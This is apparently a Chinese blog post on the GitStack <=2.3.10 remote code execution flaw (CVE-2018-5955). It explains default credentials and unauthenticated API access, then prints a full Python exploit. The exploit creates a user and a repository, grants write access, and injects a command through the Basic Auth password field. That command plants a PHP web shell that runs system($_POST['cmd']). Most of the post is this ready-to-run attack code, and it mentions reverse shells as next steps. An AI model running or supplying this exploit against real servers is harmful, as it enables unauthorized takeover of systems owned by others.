GitStack系统RCE漏洞学习
漏洞简介
漏洞简情
- 漏洞程序 GitStack
- 影响版本 <=2.3.10
- 漏洞类型 RCE
- 漏洞评价 高危
- 漏洞编号 CVE-2018-5955
漏洞程序介绍
GitStack是一款基于Python(Django框架)和PHP的win平台下的git可视化平台。它存在很多问题,下面简单介绍一下所有的背景安全问题。这些背景安全问题将导致RCE漏洞的利用。
背景安全问题
默认弱口令admin/admin,以及口令提示
debug模式开启,泄露敏感信息
https://a.b.c.d/rest/settings/general/admin/
可以获取足够的有效信息
API未授权访问
举例如下:
RCE漏洞利用思路以及EXP
先利用未授权的api创建用户,然后利用未授权的api创建项目,然后把用户加入项目中。
我们来看EXP的代码部分:
def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户:',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest'
def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目:',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit'
def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)
然后访问index.php,在访问index.php的时候访问该项目的时候回对用户名密码进行验证,这个地方使用的HttpBasicAuth进行验证,在password字段存在RCE漏洞,可有在这个地方构造Payload利用执行,然后就可以写入一句话,菜刀连接也好,反弹shell也好,创建用户名密码远程登录也好,都可以操作了。
def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效,攻击失败'
exit(0)
完整代码如下:
#!/usr/bin/env python
# -*- coding:utf-8 -*-
'''
CVE-2018-5955 GitStack<= 2.3.10 远程命令执行漏洞 EXP 改进版
借鉴POC作者:CaijiOrz(GitHub账号)
作者:b0b@c
使用:仅限于学习、交流、公司内部使用
'''
import requests
from optparse import OptionParser
from requests.auth import HTTPBasicAuth
class Exploitor(object):
'''Rce漏洞利用器'''
def __init__(self, target, abusepath='c:\\GitStack\\gitphp', payload=None):
'''Rce漏洞利用器创建'''
self.target = target
self.abusepath = abusepath
if payload == None:
self.payload = "p && echo ^<?php echo @system($_POST['cmd']) ?^> > %s\\gitstack.php"%self.abusepath
else:
self.payload = "p && echo ^<?php %s ?^> > %s\\gitstack.php"%(self.payload, self.abusepath)
def __userCheck(self):
'''用户检查'''
url = '%s/rest/user/'%self.target
try:
usersJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
try:
usersJson.remove('admin')
usersJson.remove('eyeryone')
except Exception, reason:
pass
if len(usersJson) > 0 and 'pentest' in usersJson:
self.user = 'pentest'
print '[+] 发现可用账户:',self.user
else:
try:
response = requests.post(url, data={'username':'pentest', 'password':'pentest'}, verify=False)
except Exception, reason:
print '[-] 创建用户失败'
exit(0)
if 'User created' not in response.text:
print '[-] 创建用户失败'
exit(0)
else:
print '[+] 创建用户成功'
self.user = 'pentest'
def __repositoryCheck(self):
'''项目检查'''
url = '%s/rest/repository/'%self.target
try:
repositoryJson = requests.get(url, verify=False).json()
except Exception, reason:
print '[-] 连接GitStackAPI失败'
exit(0)
if repositoryJson:
repository = repositoryJson[0]['name']
print '[+] 发现可用项目:',repository
self.repository = repository
else:
try:
response = requests.post(url, cookies={'csrftoken':'pentest'}, data={'name':'pentestgit', 'csrfmiddlewaretoken':'pentest'})
except Exception, reason:
print '[-] 创建项目失败'
exit(0)
if 'successfully create repository' not in response.text:
print '[-] 创建项目失败'
exit(0)
else:
print '[+] 创建项目成功'
self.repository = 'pentestgit'
def __permissionCheck(self):
'''权限检查'''
url = url = '%s/rest/repository/%s'%(self.target,self.repository)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 权限检查失败'
exit(0)
users = response.json()['user_write_list']
flag = False
if len(users) > 0:
if self.user in [x['username'] for x in users]:
print '[+] 权限检查成功'
flag = True
if not flag:
url = '%s/rest/repository/%s/user/%s/'%(self.target, self.repository, self.user)
try:
response = requests.post(url, verify=False)
except Exception, reason:
print '[-] 加载权限失败'
exit(0)
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证权限失败'
exit(0)
if 'true' in response.text:
print '[+] 权限加载成功'
else:
print '[-] 权限验证失败'
exit(0)
def __attack(self):
'''攻击尝试'''
url = '%s/web/index.php?p=%s.git&a=summary'%(self.target, self.repository)
try:
response = requests.get(url, auth=HTTPBasicAuth(self.user, self.payload), verify=False)
except Exception, reason:
print '[-] 攻击失败'
exit(0)
url = '%s/web/gitstack.php'%self.target
try:
response = requests.get(url, verify=False)
except Exception, reason:
print '[-] 验证攻击失败'
exit(0)
if response.status_code == 200:
print '[+] 攻击成功'
else:
print '[-] 尝试访问无效,攻击失败'
exit(0)
def attack(self):
'''攻击过程'''
self.__userCheck()
self.__repositoryCheck()
self.__permissionCheck()
self.__attack()
if __name__ == '__main__':
parser = OptionParser()
parser.add_option("-t", "--target", dest="target", help="Set Target")
parser.add_option("-p", "--payload", dest="payload", help="Set Payload")
parser.add_option("-f", "--filepath", dest="filepath", help="Set FilePath")
(options, args) = parser.parse_args()
if options.target in [None,'']:
print '[-] 请输入目标URL'
exit(0)
else:
if options.payload == None and options.filepath == None:
attacker = Exploitor(options.target)
elif options.payload != None and options.filepath == None:
attacker = Exploitor(options.target, payload=options.payload)
elif options.payload == None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath)
elif options.payload != None and options.filepath != None:
attacker = Exploitor(options.target, abusepath=options.filepath, payload=options.payload)
attacker.attack()
鸣谢
参考项目 https://github.com/CaijiOrz/exploits/blob/master/GitStack_2.3.10_Unauthenticated_RCE.py
参考博客 https://xz.aliyun.com/t/2235
GitStack系统RCE漏洞学习的更多相关文章
- CVE-2019-8341 Jinja2 RCE漏洞学习
漏洞简述 漏洞简介 Jinja2.10版本,Environment的实例方法from_string,存在RCE,该函数在内部实现逻辑中,存在exec函数去执行了,from_string函数参数中的ji ...
- spark未授权RCE漏洞学习
Spark简介 spark是一个实现快速通用的集群计算平台.它是由加州大学伯克利分校AMP实验室 开发的通用内存并行计算框架,用来构建大型的.低延迟的数据分析应用程序.它扩展了广泛使用的MapRedu ...
- 威胁快报|首爆,新披露Jenkins RCE漏洞成ImposterMiner挖矿木马新“跳板”
简介 阿里云安全于近日捕获到一起使用Jenkins RCE漏洞进行攻击的挖矿事件.除挖矿外,攻击者还曾植入具有C&C功能的tsunami木马,也预留了反弹shell的功能,给用户带来极大安全隐 ...
- Apache Solr JMX服务 RCE 漏洞复现
Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...
- PWN二进制漏洞学习指南
目录 PWN二进制漏洞学习指南 前言 前置技能 PWN概念 概述 发音 术语 PWN环境搭建 PWN知识学习途径 常见漏洞 安全机制 PWN技巧 PWN相关资源博客 Pwn菜鸡小分队 PWN二进制漏洞 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- XSS漏洞学习笔记
XSS漏洞学习 简介 xss漏洞,英文名为cross site scripting. xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的. 说白了就是想尽办法让你加载 ...
- ThinkPHP-5.0.23新的RCE漏洞测试和POC
TP5新RCE漏洞 昨天又是周五,讨厌周五曝漏洞,还得又得加班,算了,还是先验证一波.新的TP5RCE,据说发现者因为上次的RCE,于是又审计了代码,结果发现的.TP5也成了万人轮啊. 测试 环境搭建 ...
- Zimbra无需登录RCE漏洞利用
2019年3月13号,一名国外的安全研究员在他的博客上公布了zimbra RCE漏洞相关信息,但其中并未提到一些漏洞利用细节. 经过一段时间努力,根据网上各位大牛的分析和我自己的理解,在此我将整个漏洞 ...
随机推荐
- TensorFlow:tf.contrib.layers.xavier_initializer
xavier_initializer( uniform=True, seed=None, dtype=tf.float32 ) 该函数返回一个用于初始化权重的初始化程序 “Xavier” .这个初始化 ...
- Xming导致的SecureCRT远程登录的普通用户图形程序不能运行
SecureCRT+Xming,用惯之后感觉特别方便,就是绘制效率稍差,不过可以忍受. 但是今天发生奇怪错误: 启动liteide后一切正常,但是选择打开目录菜单后就崩溃退出: 重新连接没用: 重新连 ...
- 周期性调度器scheduler_tick
周期性调度器由中断实现,系统定时产生一个中断,然后启动周期性调度器,周期性调度器执行过程中要关闭中断, 周期性调度器执行完毕后再打开中断(handle_IRQ_event, IRQF_DISABLE ...
- VBscript实现开机自动启动,自动复制原件后启动
set fso = createobject("scripting.filesystemobject") set ws = createobject("wscript.s ...
- 19 Go的全能ORM简单入门
gorm 昨天我的ldap账户改了以后,openfalcon(v2.1)-dashboard竟然无法登陆了!显然,没有把我的密码同步到本地数据库里面,怎么办?只能改openfalcon用户认证的源码了 ...
- lua封装的位运算
1.移位运算基础 --与 同为1,则为1 --或 有一个为1,则为1 --非 true为 false,其余为true --异或 相同为0,不同为1 --ZZMathBit = {} function ...
- Windows上使用sqlite3
安装 去官网http://www.sqlite.org/download.html下载Windows下安装包,下载后,解压,设置环境变量 例如放在D:\sqlite3下,将D:\sqlite3加入环境 ...
- scala中Map和Set
scala中Set包含可变set和不可变Set,set的子类HashSet,各有一个扩展了可变和不可变的set特质. 可变set import scala.collection.mutable.Se ...
- Installing the Eclipse Plugin for ADT
http://developer.android.com/sdk/installing/installing-adt.html Download the ADT Plugin Start Ecli ...
- 妙味远程课堂-JS属性
html由属性名和属性值组成 属性读操作:获取.找到 元素.innerHtml//读取元素内的html内容 元素.属性名 案例1:点击按钮弹出文本框的内容(value值) <!DOCTYPE h ...